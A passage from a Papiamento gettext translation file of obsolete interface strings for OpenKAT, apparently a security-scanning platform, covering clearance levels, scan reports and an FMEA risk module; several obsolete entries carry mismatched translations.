                      Go to the <a \"\n#~ \"href=\\\"%(organization_settings)s\\\">organization settings page</a> to add \"\n#~ \"one.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \" <strong>Advertensia:</strong>\\n\"\n#~ \" Indemnisashon no ta ajustá pa e organisashon aki.\\n\"\n#~ \" Bishitá e <a href=\\\"%(organization_settings)s\\\">página di ajuste di \"\n#~ \"organisashon</a> pa agregá un.\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    An overview of \\\"%(organization_name)s\\\" its \"\n#~ \"members.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \" Un bista general di e miembronan di \\\"%(organization_name)s\\\".\\n\"\n#~ \"                \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            An overview of \\\"%(organization_name)s\\\". This shows general \"\n#~ \"information and its settings.\\n\"\n#~ \"          \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \" Un bista general di \\\"%(organization_name)s\\\". Esaki ta mustra \"\n#~ \"informashon general i su ajustenan.\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"              <strong>Warning:</strong>\\n\"\n#~ \"              Indemnification is not set for this organization.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \" <strong>Advertensia:</strong>\\n\"\n#~ \" Indemnisashon no ta ajustá pa e organisashon aki.\\n\"\n#~ \"            \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"              This means that this object will be scanned by Boefjes with \"\n#~ \"scan level\\n\"\n#~ \"              %(scan_level)s and lower. Setting the clearance level from \"\n#~ \"“declared”\\n\"\n#~ \"              to “inherit” means that this object will inherit its level \"\n#~ \"from neighbouring\\n\"\n#~ \"              objects. This means that the clearance level might stay the \"\n#~ \"same, increase,\\n\"\n#~ \"              or decrease depending on other declared clearance levels. \"\n#~ \"Clearance levels\\n\"\n#~ \"              of objects that inherit from this clearance level will also \"\n#~ \"be recalculated.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"              Esaki ta nifiká ku e opheto aki lo wordu di skan dor di \"\n#~ \"Boefjes ku nivél di skan\\n\"\n#~ \"              %(scan_level)s i mas abou. Pone e nivél di autorisashon for \"\n#~ \"di deklará\\n\"\n#~ \"              na “heredá” ta nifiká ku e opheto aki lo heredá su nivél \"\n#~ \"for di ophetonan den bisindario.\\n\"\n#~ \"              Esaki ta nifiká ku e nivél di autorisashon por keda meskos, \"\n#~ \"subi,\\n\"\n#~ \"              òf baha depende di e otro nivél di autorisashonnan. Nivél \"\n#~ \"di autorisashonnan\\n\"\n#~ \"              di ophetonan ku ta heredá for di e nivél di autorisashon \"\n#~ \"tambe lo wordu rekalkulá.\\n\"\n#~ \"            \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                This object has a clearance level of \\\"L0\\\". This means \"\n#~ \"that this object will not be scanned by any Boefje until that\\n\"\n#~ \"                Boefje is run manually for this object again. Objects \"\n#~ \"with a clearance level higher than \\\"L0\\\" will be scanned automatically \"\n#~ \"by Boefjes with\\n\"\n#~ \"                corresponding scan levels.\\n\"\n#~ \"            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                E opheto aki tin un nivel di authorisashon di \\\"L0\\\". \"\n#~ \"Esaki ta nifika ku e opheto aki no por wòrdu di skan dor di ningun Boefje \"\n#~ \"te ora\\n\"\n#~ \"                e Boefje aki ta wordu di skan manualmente atrobe pe e \"\n#~ \"opheto. Ophetonan ku un nivel di authorisashon mas haltu ku \\\"L0\\\" ta \"\n#~ \"wòrdu di skan automatikamente dor di Boefjes ku\\n\"\n#~ \"                nivelnan di skan korespondiente.\\n\"\n#~ \"            \"\n\n#~ msgid \"Download PDF\"\n#~ msgstr \"Download PDF\"\n\n#~ msgid \"There are no boefjes available within the current clearance level of\"\n#~ msgstr \"No tin boefjes disponibel den e nivel di authorisashon di\"\n\n#~ msgid \"Or if you have the authorization, upgrade the clearance level of\"\n#~ msgstr \"Òf si bo tin authorisashon, subi e nivel di authorisason di\"\n\n#~ msgid \"Accounts\"\n#~ msgstr \"Habri detayes\"\n\n#~ msgid \"Currently there are no findings for OOI\"\n#~ msgstr \"Aktualmente no a diskubri nada pa OOI\"\n\n#~ msgid \"Select your language\"\n#~ msgstr \"Selekshoná bo idioma\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Current language is %(current_language)s. Choose your preferred language.\"\n#~ msgstr \"Idioma aktual ta %(current_language)s. Escoge bo idioma preferí.\"\n\n#, python-format\n#~ msgid \"Findings report for %(name)s\"\n#~ msgstr \"Rapport di resultadonan pa %(name)s\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"These are the findings of a OpenKAT-analysis on %(observed_at)s. Click a \"\n#~ \"finding for more detailed information about the issue, its origin, \"\n#~ \"severity and possible solutions.\"\n#~ msgstr \"\"\n#~ \"Esakinan ta e resultadonan di un OpenKAT-analysis riba %(observed_at)s. \"\n#~ \"Click un resultadopa mas informashon detayá tokante e problema, su \"\n#~ \"orígen, severidat i posibel solushonnan.\"\n\n#, python-format\n#~ msgid \"A report for %(name)s wasn't found.\"\n#~ msgstr \"Un rapport pa %(name)s no por a wordu haña.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Perhaps it never was, perhaps it just didn't exist on %(observed_at)s \"\n#~ \"<br> Try some other dates!\"\n#~ msgstr \"\"\n#~ \"Probablemente e no tabata, probablemente e nunka a eksistí riba \"\n#~ \"%(observed_at)s<br> Purba algun otro fechanan!\"\n\n#~ msgid \"You can't generate a report for an OOI on a date in the future.\"\n#~ msgstr \"Bo no por generà un rapòrt pa un OOI ku un fecha den futuro.\"\n\n#~ msgid \"Findings report\"\n#~ msgstr \"Rapòrt di diskubrimentu\"\n\n#~ msgid \"Generating report failed. See Keiko logs for more information.\"\n#~ msgstr \"\"\n#~ \"Falamentu den generashon di rapòrt. Wak Keiko logs pa mas informashon.\"\n\n#~ msgid \"\"\n#~ \"Timeout reached generating report. See Keiko logs for more information.\"\n#~ msgstr \"\"\n#~ \"Tempo di espera a yega na su fin den generashon di rapòrt. Wak e Keiko \"\n#~ \"logs pa mas informashon.\"\n\n#~ msgid \"\"\n#~ \"Boefjes gather factual information, such as by calling an external \"\n#~ \"scanning tool like nmap or using a database like shodan.\"\n#~ msgstr \"\"\n#~ \"Boefjes ta reuni informashon faktuál, huzando tools manera nmap òf usando \"\n#~ \"un base di datos manera shodan.\"\n\n#~ msgid \" Details\"\n#~ msgstr \"Detayes\"\n\n#~ msgid \"Action\"\n#~ msgstr \"Akshon\"\n\n#~ msgid \"Unset\"\n#~ msgstr \"Bashi\"\n\n#~ msgid \"Failed fetching settings for {}. Is the Katalogus up?\"\n#~ msgstr \"No por a enkontra e ajustamentunan pa {}. Katalogus ta disponibel?\"\n\n#~ msgid \"Before enabling, please set the required settings for '{}'.\"\n#~ msgstr \"Promé ku aktivá, por fabor pone e ajustamentunan necesario pa '{}'.\"\n\n#~ msgid \"Currently filtered on:\"\n#~ msgstr \"Aktuálmente filtrá riba:\"\n\n#~ msgid \"Object tree\"\n#~ msgstr \"Mapa di opheto\"\n\n#~ msgid \"Please select an OOI to start scan.\"\n#~ msgstr \"Por fabor, selekshoná un OOI pa kuminsá skan.\"\n\n#~ msgid \"Task queue is full, please try again later.\"\n#~ msgstr \"Lista di trabou ta yen, por fabor purba atrobe mas laat.\"\n\n#~ msgid \"Task is invalid.\"\n#~ msgstr \"Tarea ta inbalido\"\n\n#~ msgid \"Task already queued.\"\n#~ msgstr \"Tarea ta pone kla kaba.\"\n\n#~ msgid \"Observed by\"\n#~ msgstr \"Obserbá pa\"\n\n#~ msgid \"Select status\"\n#~ msgstr \"Selektá status\"\n\n#~ msgid \"Success\"\n#~ msgstr \"Èxito\"\n\n#~ msgid \"No scans found for this object.\"\n#~ msgstr \"Ningun skan enkontra pa e opheto.\"\n\n#~ msgid \"all\"\n#~ msgstr \"tur\"\n\n#~ msgid \"Fetching tasks failed: no connection with scheduler\"\n#~ msgstr \"No por haña tarea: no tin konekshon ku scheduler\"\n\n#~ msgid \"Latest plugin settings:\"\n#~ msgstr \"Reciente plugin settings:\"\n\n#~ msgid \"Overview of settings:\"\n#~ msgstr \"Relato di settings:\"\n\n#~ msgid \"For this tutorial we suggest a DNS-report to get you started.\"\n#~ msgstr \"Pa a tutoriál aki nos ta sugerí un DNS-rapòrt pa kuminsa ku ne.\"\n\n#~ msgid \"DNS report\"\n#~ msgstr \"DNS Rapòrt\"\n\n#~ msgid \"User overview:\"\n#~ msgstr \"Resúmen di kliente:\"\n\n#~ msgid \"Boefjes overview:\"\n#~ msgstr \"Relato general di Boefjes:\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view reports for each of your current objects. For \"\n#~ \"specific reports you can choose one of the available report types and \"\n#~ \"generate a report. Such as a pen-test, a DNS-report or a mail report to \"\n#~ \"give some examples.\"\n#~ msgstr \"\"\n#~ \"Den OpenKAT bo por mira rapòrtnan pa kada un di bo ophetonan. Pa \"\n#~ \"rapòrtnan specifikó bo por skohé un di e tipo rapòrtnan obtenibel i \"\n#~ \"generá un rapòrt. Manera un pen-test, un DNS-rapòrt òf un mail rapòrt pa \"\n#~ \"duna algun ehempel.\"\n\n#~ msgid \"\"\n#~ \"A lot of things can be an object within the scope of OpenKAT. For example \"\n#~ \"a mailserver, an ip-address, a URL, a DNS record, a hostname or a network \"\n#~ \"to name a few.  While these objects can be related to each other they are \"\n#~ \"all objects within OpenKAT that can be scanned to gain valuable insight.\"\n#~ msgstr \"\"\n#~ \"Hopi kos por ta un opheto den di e alkanse di OpenKAT. Por ehempel un \"\n#~ \"mailserver, un ip-adrès, un URL, un DNS record, un hostname òf un netwèrk \"\n#~ \"pa nombra un par. Mientras tantu e ophetonan aki por ta relatá na otro \"\n#~ \"nan tur ta ophetonan den di OpenKAT ku por wordu di skan pa haña \"\n#~ \"informashon balioso.\"\n\n#~ msgid \"\"\n#~ \"Most objects have dependencies on the existence of other objects. For \"\n#~ \"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n#~ \"qualified domain name) and ip-address. OpenKAT collects these additional \"\n#~ \"object automatically when possible. By running plugins to collect or \"\n#~ \"extract this data.\"\n#~ msgstr \"\"\n#~ \"Mayoria ophetonan tin dependesianan riba e exsistencia di otro ophetonan. \"\n#~ \"Por ehempel un URL mester ta konektá ku un nètwèrk, hostname, fqdn (fúl \"\n#~ \"kwalifiká nòmber di domèin) i ip-adrès. OpenKAT ta kolektá e ophetonan \"\n#~ \"adishonal automatikamente si ta posibel. Dor di start plugins pa kolektá \"\n#~ \"òf extrahé data.\"\n\n#~ msgid \"Risk score:\"\n#~ msgstr \"Puntuashon di riesgo:\"\n\n#~ msgid \"Permission to set OOI clearance levels \"\n#~ msgstr \"Pèrmit pa pone nivél di autorisashonnan pa OOI \"\n\n#~ msgid \"You have currently accepted clearance up to level \"\n#~ msgstr \"Bo aktualmente a aseptá e nivel di autorisashon te na nivel \"\n\n#~ msgid \"\"\n#~ \"If you don’t remember the email address connected to your account, \"\n#~ \"contact: \"\n#~ msgstr \"\"\n#~ \"Si bo no ta kòrda e email adrès konektá ku bo account, tuma kontákto ku: \"\n\n#~ msgid \"Publisher\"\n#~ msgstr \"Editora\"\n\n#~ msgid \"You don't have permission to enable \"\n#~ msgstr \"Bo no tin permiso pa aktivá \"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"<span>Warning scan level:</span> Scanning OOI's with a lower clearance \"\n#~ \"level will result in OpenKAT increasing the clearance level on that OOI, \"\n#~ \"not only for this scan but from now on out, until it manually gets set to \"\n#~ \"something else again. This means that all other enabled Boefjes will use \"\n#~ \"this higher clearance level aswel.\"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"          <span>Advertensia nivel di skan:</span>\\n\"\n#~ \"          Skèn OOI's ku nivel di authorisashon mas abou lo resulta ku \"\n#~ \"OpenKAT mester subi e nivel di authorisashon pa e OOI,\\n\"\n#~ \"          no solamente pa e skan aki for di awor i adelante, te ora \"\n#~ \"manualmente e wordu pone na algu otro atrobe.\\n\"\n#~ \"          Esaki ta nifika ku tur otro Boefjes aktivo lo huza e nivel di \"\n#~ \"authorisashon  aki tambe.\\n\"\n#~ \"        \"\n\n#~ msgid \"Reason\"\n#~ msgstr \"Motibu\"\n\n#~ msgid \"Overview of findings for \"\n#~ msgstr \"Reprodusí búskeda\"\n\n#~ msgid \"Error\"\n#~ msgstr \"Error\"\n\n#~ msgid \"Explanation\"\n#~ msgstr \"Deklarashon\"\n\n#~ msgid \"Here, an indemnification can be given on behalf of your organization\"\n#~ msgstr \"Akinan, un indemnizashon por wordu duna p’e organisashon\"\n\n#~ msgid \"Confirmation\"\n#~ msgstr \"Indemnizashon\"\n\n#~ msgid \"No related objects added to \"\n#~ msgstr \"Ningún ophetonan relatá añadi na\"\n\n#~ msgid \"Use the button below to add a related object. \"\n#~ msgstr \"Huza e botón abou pa añadi un opheto relatá. \"\n\n#~ msgid \"Logged in as\"\n#~ msgstr \"Logged in komo\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s.                             \"\n#~ \"Indemnification not present at organization %s.\"\n#~ msgstr \"\"\n#~ \"No por subi e nivel di autorisashon di %s pa L%s. Indemnisashon no ta \"\n#~ \"presente na organisashon %s.\"\n\n#~ msgid \"DNS Zone\"\n#~ msgstr \"Zona DNS\"\n\n#~ msgid \"\"\n#~ \"OpenKAT added the following required object to your object list to \"\n#~ \"complete your request: {}\"\n#~ msgstr \"\"\n#~ \"OpenKAT a añadi e siguinte opheton na bo lista di ophetonan pa kompleta \"\n#~ \"bo petishon: {}\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s.                 \"\n#~ \"Indemnification not present at organization %s.\"\n#~ msgstr \"\"\n#~ \"No por a subi e nivel di autorisashon di %s pa L%s. Indemnisashon no ta \"\n#~ \"presente pa organisashon %s.\"\n\n#~ msgid \"\"\n#~ \"Not all required boefjes are selected. Please select all required boefjes.\"\n#~ msgstr \"\"\n#~ \"No tur boefjes necesario ta selektá. Por fabor selektá tur boefjes \"\n#~ \"necesario.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s.                         \"\n#~ \"Indemnification not present at organization %s.\"\n#~ msgstr \"\"\n#~ \"No por a subi e nivel di autorisashon di %s pa L%s. Indemnisashon no ta \"\n#~ \"presente pa organisashon %s.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s. You acknowledged a \"\n#~ \"clearance level of L%s. Please accept the clearance level below to \"\n#~ \"proceed.\"\n#~ msgstr \"\"\n#~ \"No por a subi e nivel di autorisashon di %s pa L%s. Bo a rekonosé un \"\n#~ \"nivel di autorisashon di L%s. Por fabor, akseptá e nivel di autorisashon \"\n#~ \"mas abou pa por sigui.\"\n\n#~ msgid \"Choose a valid level\"\n#~ msgstr \"Skohé un nivél balido\"\n\n#, python-format\n#~ msgid \"Raw file could not be uploaded to Bytes: status code %s\"\n#~ msgstr \"No por a subi e arkivo na Bytes: status code %s\"\n\n#~ msgid \"Failure mode\"\n#~ msgstr \"Failure mode\"\n\n#~ msgid \"Frequency Level\"\n#~ msgstr \"Nivél di frequensidat\"\n\n#~ msgid \"Detectability Level\"\n#~ msgstr \"Nivél di detectabilidat\"\n\n#~ msgid \"Effect(s)\"\n#~ msgstr \"Efekto\"\n\n#~ msgid \"Describe in one sentence what type of failure mode you are creating.\"\n#~ msgstr \"Deskribi den un sentencia ki tipo di failure mode bo ta kreando.\"\n\n#~ msgid \"Describe the failure mode in details.\"\n#~ msgstr \"Reprodusí búskeda\"\n\n#~ msgid \"\"\n#~ \"From 1 to 5, how often does this failure mode occurs. 1: Almost \"\n#~ \"unthinkable and 5: occurs daily.\"\n#~ msgstr \"\"\n#~ \"Di 1 te 5, kwantu biaha e failure mode aki ta occurí. 1: Kasi imposibeli \"\n#~ \"5: occurí diariamente.\"\n\n#~ msgid \"\"\n#~ \"Is this failure mode easy detectable? Give it a score from 1 to 5. 1: \"\n#~ \"always detectable and 5: almost undetectable.\"\n#~ msgstr \"\"\n#~ \"E failure mode aki por wordu detektá fasil? Duné un score for di 1 te 5. \"\n#~ \"1: semper detektábel i 5: kasi imposibel.\"\n\n#~ msgid \"Describe the type of failure mode\"\n#~ msgstr \"Deskribi e tipo di failure mode\"\n\n#~ msgid \"explanation-failure-mode\"\n#~ msgstr \"splikashon-failure-mode\"\n\n#~ msgid \"Describe in more detail what the failure mode is about.\"\n#~ msgstr \"Deskribi mas detayá kiko e failure mode aki ta.\"\n\n#~ msgid \"explanation-description\"\n#~ msgstr \"splikashon-diskripshon\"\n\n#~ msgid \"explanation-frequency-level\"\n#~ msgstr \"splikashon-nivel-di-freqeuncia\"\n\n#~ msgid \"explanation-detectability_level\"\n#~ msgstr \"splikashon-nivel-detektebilidat\"\n\n#~ msgid \"You must at least set a failure mode.\"\n#~ msgstr \"Bo mester por lo menos pone un failure mode.\"\n\n#~ msgid \"Choose a frequency level.\"\n#~ msgstr \"Nivél di frequensidat\"\n\n#~ msgid \"Choose a detectability level.\"\n#~ msgstr \"Nivél di detectabilidat\"\n\n#~ msgid \"Choose at least one effect.\"\n#~ msgstr \"Skohé por lo menos ùn efekto\"\n\n#~ msgid \"Affected Department\"\n#~ msgstr \"Departamentu afektá\"\n\n#~ msgid \"Affected Objects\"\n#~ msgstr \"Ophetonan afektá\"\n\n#~ msgid \"Choose a failure mode which applies to \"\n#~ msgstr \"Skohé un failure mode ku ta aplika na \"\n\n#~ msgid \"When this failure mode occurs, which department is affected?\"\n#~ msgstr \"Ora a failure mode aki occurí, kwa departamentu ta afekta?\"\n\n#~ msgid \"Which objects does this failure mode affect when it occurs?\"\n#~ msgstr \"Kwa opheto e failure mode aki ta afekta ora e occurí?\"\n\n#~ msgid \"explanation-affected-ooi-type\"\n#~ msgstr \"splikashon-tipo-di-ooi-afekta\"\n\n#~ msgid \"Effect\"\n#~ msgstr \"Efekto\"\n\n#~ msgid \"Severity Level\"\n#~ msgstr \"Nivél di severedat\"\n\n#~ msgid \"Name a possible effect of any type of failure mode that can occur.\"\n#~ msgstr \"Duna un ehempel di un posibel efekto di e failre mode aki.\"\n\n#~ msgid \"\"\n#~ \"Describe the severity of this effect ex. 1: not severe and 5: catastrophic\"\n#~ msgstr \"\"\n#~ \"Diskribi e seviridat di e efekto aki, por ehempel 1: no severo i 5: \"\n#~ \"katastrófiko\"\n\n#~ msgid \"Describe a possible effect for FMEA\"\n#~ msgstr \"Deskibri un posibel efekto pa FMEA\"\n\n#~ msgid \"explanation-effect\"\n#~ msgstr \"splikashon-efekto\"\n\n#~ msgid \"explanation-severity-level\"\n#~ msgstr \"splikashon-nivel-severo\"\n\n#~ msgid \"The effect is required.\"\n#~ msgstr \"E vak aki ta obligatorio\"\n\n#~ msgid \"This effect already exists.\"\n#~ msgstr \"E organisashon aki ta eksistí kaba\"\n\n#~ msgid \"Choose a severity level.\"\n#~ msgstr \"Nivel di rísiko\"\n\n#~ msgid \"Finances\"\n#~ msgstr \"Finansiasnan\"\n\n#~ msgid \"Marketing\"\n#~ msgstr \"Marketing\"\n\n#~ msgid \"Human Resources\"\n#~ msgstr \"Human Resources\"\n\n#~ msgid \"Research & Development\"\n#~ msgstr \"Research & Development\"\n\n#~ msgid \"Administration\"\n#~ msgstr \"Indemnizashon\"\n\n#~ msgid \"Level 1: Not Severe\"\n#~ msgstr \"Nivèl 1: No Severo\"\n\n#~ msgid \"Level 2: Harmful\"\n#~ msgstr \"Nivel 2: Dañoso\"\n\n#~ msgid \"Level 3: Severe\"\n#~ msgstr \"Nivel 3: Severo\"\n\n#~ msgid \"Level 4: Very Harmful\"\n#~ msgstr \"Nivel 4: Hopi Dañoso\"\n\n#~ msgid \"Level 5: Catastrophic\"\n#~ msgstr \"Nivel 5: Katastrófiko\"\n\n#~ msgid \"\"\n#~ \"Level 1: Very Rare. Incident (almost) never occurs, almost unthinkable.\"\n#~ msgstr \"\"\n#~ \"Nivel 1: Hopi Straño. Insidente (kasi) nunka ta okuri, kasi inpensabel.\"\n\n#~ msgid \"Level 2: Rare. Incidents occur less than once a year (3-5).\"\n#~ msgstr \"Nivel 2: Straño. Insidente ta okuri menos ku un biaha pa aña (3-5).\"\n\n#~ msgid \"Level 3: Occurs. Incidents occur several times a year.\"\n#~ msgstr \"Nivel 3: Ta okuri, Insidente ta okuri par di biaha pa aña.\"\n\n#~ msgid \"Level 4: Regularly. Incidents occur weekly.\"\n#~ msgstr \"Nivel 4: Regularmente. Insidente ta pasa tur siman.\"\n\n#~ msgid \"Level 5: Frequent. Incidents occur daily.\"\n#~ msgstr \"Nivel 5: Frquente. Incidente ta pasa tur dia.\"\n\n#~ msgid \"\"\n#~ \"Level 1: Always Detectable. Incident (almost) never occurs, almost \"\n#~ \"unthinkable.\"\n#~ msgstr \"\"\n#~ \"Nivel 1: Semper Detektabel. Insidente (kasi) nunka ta okuri, kasi \"\n#~ \"imposibel.\"\n\n#~ msgid \"\"\n#~ \"Level 2: Usually Detectable. Incidents occur less than once a year (3-5).\"\n#~ msgstr \"\"\n#~ \"Nivel 2: Normalmente Dektetabel. Insidente ta okuri menos ku un biaha pa \"\n#~ \"aña (3-5).\"\n\n#~ msgid \"Level 3: Detectable. Failure mode is detectable with effort.\"\n#~ msgstr \"Nivel 3: Detektabel. Faillure mode ta detektabel ku eksfuerzo.\"\n\n#~ msgid \"Level 4: Poorly Detectable. Detecting the failure mode is difficult.\"\n#~ msgstr \"Nivel 4: Malu Detectabel. Detektá e failure mode ta difícil.\"\n\n#~ msgid \"\"\n#~ \"Level 5: Almost Undetectable. Failure mode detection is very difficult or \"\n#~ \"nearly impossible.\"\n#~ msgstr \"\"\n#~ \"Nivel 5: Pobremente Detektabel. Faillure mode detekshon ta hopi difisil \"\n#~ \"òf kasi imposibel.\"\n\n#~ msgid \"Failure modes\"\n#~ msgstr \"Failure modes\"\n\n#~ msgid \"Failure Mode Affected Objects\"\n#~ msgstr \"Failure Mode Ophetonan afektá\"\n\n#~ msgid \"FMEA Departments Heatmap:\"\n#~ msgstr \"Departamento di FMEA Heatmap:\"\n\n#~ msgid \"No data to build heatmap\"\n#~ msgstr \"Ningun data pa kontruí heatmap \"\n\n#~ msgid \"Failure mode affected object table:\"\n#~ msgstr \"Failure mode tabèl di opheto afektá \"\n\n#~ msgid \"Affected Object\"\n#~ msgstr \"Ophetonan afektá\"\n\n#~ msgid \"Failure mode affected objects cannot be found.\"\n#~ msgstr \"No por decodifica e archivo\"\n\n#~ msgid \"Define which objects are affected for a failure mode\"\n#~ msgstr \"Defini kwa ophetonan ta afekta pa un failure mode\"\n\n#~ msgid \"Failure mode affected objects\"\n#~ msgstr \"No por decódifica e archivo\"\n\n#~ msgid \"Save\"\n#~ msgstr \"Warda\"\n\n#~ msgid \"No failure mode yet defined.\"\n#~ msgstr \"Ningun failure mode ahinda defini\"\n\n#~ msgid \"To add affected objects to a failure mode, first create one.\"\n#~ msgstr \"Pa agregá ophetonan afektá na un failure mode, krea un prome.\"\n\n#~ msgid \"Create failure mode\"\n#~ msgstr \"Krea failure mode\"\n\n#~ msgid \"Failure mode affected objects table:\"\n#~ msgstr \"Failure mode tabèl di ophetonan afekta:\"\n\n#~ msgid \"No failure mode affected objects yet defined.\"\n#~ msgstr \"Ningun failure mode ophetonan afekta ahinda defini.\"\n\n#~ msgid \"Create failure mode Affected Objects\"\n#~ msgstr \"Reprodusí búskeda\"\n\n#~ msgid \"Departments failure modes\"\n#~ msgstr \"Failure modes departamentonan\"\n\n#~ msgid \"Failure modes and affected departments table:\"\n#~ msgstr \"Failure modes i tabèl di departamentonan afekta:\"\n\n#~ msgid \"Failure Mode\"\n#~ msgstr \"Failure Mode\"\n\n#~ msgid \"Affected Departments\"\n#~ msgstr \"Departementonan Afektá\"\n\n#~ msgid \"Nothing found.\"\n#~ msgstr \"Nada enkontra.\"\n\n#~ msgid \"Failure mode properties\"\n#~ msgstr \"No por decodifica e archivo\"\n\n#~ msgid \"Properties\"\n#~ msgstr \"Karakteristikanan\"\n\n#~ msgid \"Risk class\"\n#~ msgstr \"Nivel di rísiko\"\n\n#~ msgid \"Frequency level\"\n#~ msgstr \"Nivel di frequensidat\"\n\n#~ msgid \"Detectability level\"\n#~ msgstr \"Nivel di detektabilidat\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        Effect and severity level\\n\"\n#~ \"                        \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                        Effects and severity levels\\n\"\n#~ \"                      \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                        Nivel di efekto i severidat\\n\"\n#~ \"                        \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                        Nivel di efektonan i severidatnan\\n\"\n#~ \"                      \"\n\n#~ msgid \"Failure mode effect\"\n#~ msgstr \"No por decodifica e archivo\"\n\n#~ msgid \"Failure mode effect properties\"\n#~ msgstr \"No por decodifica e archivo\"\n\n#~ msgid \"FMEA effect and severity\"\n#~ msgstr \"FMEA efekto i seviridat\"\n\n#~ msgid \"FMEA effect\"\n#~ msgstr \"FMEA efekto\"\n\n#~ msgid \"Failure mode effects table:\"\n#~ msgstr \"Tabèl di Efektonan di Modo di Falla\"\n\n#~ msgid \"Severity level\"\n#~ msgstr \"Nivel di rísiko\"\n\n#~ msgid \"No failure mode effect yet defined.\"\n#~ msgstr \"No por decodifica e archivo\"\n\n#~ msgid \"Create a failure mode effect\"\n#~ msgstr \"Reprodusí búskeda\"\n\n#~ msgid \"Create a new failure mode\"\n#~ msgstr \"Krea un failure mode nobo\"\n\n#~ msgid \"Failure mode and effects\"\n#~ msgstr \"No por decodifica e archivo\"\n\n#~ msgid \"No failure mode effects created.\"\n#~ msgstr \"No por decodifica e archivo\"\n\n#~ msgid \"\"\n#~ \"First create failure mode effects which can be added later to a failure \"\n#~ \"mode.\"\n#~ msgstr \"\"\n#~ \"Prome krea efektonan di failure mode pa despues añadi esaki na un failure \"\n#~ \"mode.\"\n\n#~ msgid \"Create failure mode effects\"\n#~ msgstr \"Reprodusí búskeda\"\n\n#~ msgid \"Failure mode table:\"\n#~ msgstr \"Tabèl di failure mode:\"\n\n#~ msgid \"Risk Class\"\n#~ msgstr \"Nivel di rísiko\"\n\n#~ msgid \"Sluit details\"\n#~ msgstr \"Habri detayes\"\n\n#~ msgid \"Description:\"\n#~ msgstr \"Deklarashon\"\n\n#~ msgid \"Frequency level:\"\n#~ msgstr \"Nivel di frequencidat:\"\n\n#~ msgid \"Detectability level:\"\n#~ msgstr \"Nivel di detektabilidat\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tEffect and severity level\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tEffects and severity levels\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tNivel di efekto i severidat\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tNivel di efektonan i severidatnan\\n\"\n#~ \"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\"\n\n#~ msgid \"Failure mode report\"\n#~ msgstr \"No por decodifica e archivo\"\n\n#~ msgid \"Failure mode: \"\n#~ msgstr \"No por decodifica e archivo\"\n\n#~ msgid \"Severity: \"\n#~ msgstr \"Seviridat:\"\n\n#~ msgid \"Detectability: \"\n#~ msgstr \"Detektabilidat\"\n\n#~ msgid \"Frequency: \"\n#~ msgstr \"Frequencia: \"\n\n#~ msgid \"Effect: \"\n#~ msgstr \"Efekto: \"\n\n#~ msgid \"Description: \"\n#~ msgstr \"Deklarashon: \"\n\n#~ msgid \"Affected Departments: \"\n#~ msgstr \"Departamentonan afekta: \"\n\n#~ msgid \"Affected OOI's: \"\n#~ msgstr \"OOI's afekta:\"\n\n#~ msgid \"Report cannot be viewed, failure mode not found.\"\n#~ msgstr \"Rapòrt no por wordu mira, no por haña failure mode.\"\n\n#~ msgid \"FMEA introduction\"\n#~ msgstr \"FMEA introdukshon\"\n\n#~ msgid \"\"\n#~ \"FMEA (failure mode and effective analysis) is a step-by-step approach for \"\n#~ \"collecting knowledge about possible points of failure in a design, \"\n#~ \"manufacturing process, product or service.\"\n#~ msgstr \"\"\n#~ \"FMEA (failure mode and effective analysis) ta un enfoque paso a paso pa \"\n#~ \"kolekta konosimentu tokante puntonan posibel di fayo den un diseño, \"\n#~ \"proseso fabriká, produkto òf servicio.\"\n\n#~ msgid \"\"\n#~ \"Failure mode (FM) refers to the way in which something might break down \"\n#~ \"and includes potential errors that may occur, especially errors that may \"\n#~ \"affect a system. Effective analysis (EA) involves deciphering the \"\n#~ \"consequences of those break downs by making sure that all failures can be \"\n#~ \"detected, determining how frequently a failure might occur 